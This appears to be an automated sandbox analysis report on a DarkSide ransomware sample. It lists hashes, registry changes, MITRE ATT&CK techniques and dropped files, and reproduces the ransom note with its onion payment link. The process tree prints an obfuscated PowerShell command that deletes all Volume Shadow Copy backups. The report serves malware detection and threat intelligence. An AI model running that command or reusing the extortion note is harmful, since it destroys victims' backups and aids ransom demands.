darkside | a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d

General

Target

a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Size

30KB
MD5

4b63c4a60469d933cd76a31aae1892ae
SHA1

6d9eda625a918c06007fb58f010e4120490419a3
SHA256

a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d
SHA512

06beee2bbc68e082f80e2ff1fb54cb4833c6100308ff6dc737d05170432689dd9e4d8ff37ad831ae0d5170382c0110a5a711b9e8c53074bdcd688de866442131
SSDEEP

768:neIjgezsb2BTkZPM0qf/uR+G9D7H98hWR4rONNxLkyhSccdf:neim2oPM08/uR+c7dkY/fpcd

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.8a97ab51.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (144) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\8a97ab51.BMP"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\8a97ab51.BMP"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\Desktop\WallpaperStyle = "10"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.8a97ab51	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.8a97ab51\ = "8a97ab51"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8a97ab51\DefaultIcon	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8a97ab51	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\8a97ab51\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\8a97ab51.ico"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5000	powershell.exe
5000	powershell.exe
4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeSecurityPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeTakeOwnershipPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeLoadDriverPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeSystemProfilePrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeSystemtimePrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeProfSingleProcessPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeIncBasePriorityPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeCreatePagefilePrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeBackupPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeRestorePrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeShutdownPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeDebugPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeSystemEnvironmentPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeRemoteShutdownPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeUndockPrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeManageVolumePrivilege	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: 33	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: 34	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: 35	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: 36	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeBackupPrivilege	1220	vssvc.exe
Token: SeRestorePrivilege	1220	vssvc.exe
Token: SeAuditPrivilege	1220	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 5000	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe	96
PID 4076 wrote to memory of 5000	4076	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe	96

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
"C:\Users\Admin\AppData\Local\Temp\a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5000

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2em14v5d.alu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\README.8a97ab51.TXT

Filesize
1KB

MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
memory/4076-2-0x00000000006C0000-0x00000000006C4000-memory.dmp

Filesize
16KB

Download
memory/4076-10-0x00000000006C0000-0x00000000006C4000-memory.dmp

Filesize
16KB

Download
memory/4076-0-0x0000000000A30000-0x0000000000A45000-memory.dmp

Filesize
84KB

Download
memory/5000-22-0x00007FF8AEEA0000-0x00007FF8AF961000-memory.dmp

Filesize
10.8MB

Download
memory/5000-24-0x00007FF8AEEA0000-0x00007FF8AF961000-memory.dmp

Filesize
10.8MB

Download
memory/5000-27-0x00007FF8AEEA0000-0x00007FF8AF961000-memory.dmp

Filesize
10.8MB

Download
memory/5000-23-0x00007FF8AEEA0000-0x00007FF8AF961000-memory.dmp

Filesize
10.8MB

Download
memory/5000-12-0x000001C8B19A0000-0x000001C8B19C2000-memory.dmp

Filesize
136KB

Download
memory/5000-11-0x00007FF8AEEA3000-0x00007FF8AEEA5000-memory.dmp

Filesize
8KB

Download

Analysis

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